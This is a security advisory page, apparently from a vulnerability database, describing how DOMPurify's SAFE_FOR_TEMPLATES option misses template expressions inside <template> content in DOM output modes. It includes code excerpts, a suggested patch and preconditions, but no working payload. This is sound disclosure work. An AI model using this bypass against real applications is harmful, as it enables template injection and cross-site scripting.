const _scrubTemplateExpressions = function (node: Element): void { node.normalize(); // Does NOT normalize inside &lt;template&gt;.content (DOM spec) const walker = createNodeIterator.call( node.ownerDocument || node, node, // NodeIterator does NOT enter &lt;template&gt;.content NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | NodeFilter.SHOW_CDATA_SECTION | NodeFilter.SHOW_PROCESSING_INSTRUCTION, null ); // Scrubs nodes it finds, but never sees &lt;template&gt; content };

The fix is to extend _scrubTemplateExpressions to explicitly recurse into &lt;template&gt;.content, mirroring the approach already used by _sanitizeShadowDOM (src/purify.ts:1753):

if (_isDocumentFragment(shadowNode.content)) { _sanitizeShadowDOM(shadowNode.content); // already handles recursion }

Suggested Patch Direction

const _scrubTemplateExpressions = function (node: Element): void { node.normalize(); const walker = createNodeIterator.call( /* existing args */ ); // ... existing scrub loop ... // NEW: recurse into &lt;template&gt;.content, mirroring _sanitizeShadowDOM const templates = (node as Element).querySelectorAll?.(&#039;template&#039;) ?? []; arrayForEach(Array.from(templates), (tmpl: HTMLTemplateElement) =&gt; { if (_isDocumentFragment(tmpl.content)) { _scrubTemplateExpressions(tmpl.content as unknown as Element); } }); };

Impact

Who is affected: Applications that use DOMPurify with SAFE_FOR_TEMPLATES: true combined with RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, or IN_PLACE: true, whose downstream template engine processes &lt;template&gt; element content.

What an attacker can achieve: Inject arbitrary template expressions (${...}, {{...}}, &lt;%...%&gt;) into the sanitized DOM output inside &lt;template&gt; elements. If the consuming template engine evaluates these expressions, this leads to template injection, which in server-side contexts can escalate to Remote Code Execution and in client-side contexts to Cross-Site Scripting.

Preconditions for Exploitation

| Precondition | Notes | |---|---| | SAFE_FOR_TEMPLATES: true | Non-default - must be explicitly set | | RETURN_DOM: true or IN_PLACE: true | Non-default - must be explicitly set | | Template engine processes &lt;template&gt;.content | Application-dependent |

What Is NOT Affected

The string output path (default) is not affected. The final regex scrub at src/purify.ts:2067–2071 operates on the serialized HTML string, where the injected expression is visible and stripped:

// src/purify.ts:2067 - only runs on string output, not DOM output if (SAFE_FOR_TEMPLATES) { arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) =&gt; { serializedHTML = stringReplace(serializedHTML, expr, &#039; &#039;); }); }
  • Published: Jun 15, 2026
  • Updated: Jun 16, 2026
  • GHSA: GHSA-gvmj-g25r-r7wr
  • Severity: Low
  • Exploit:
  • CISA KEV:

No technical information available.

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.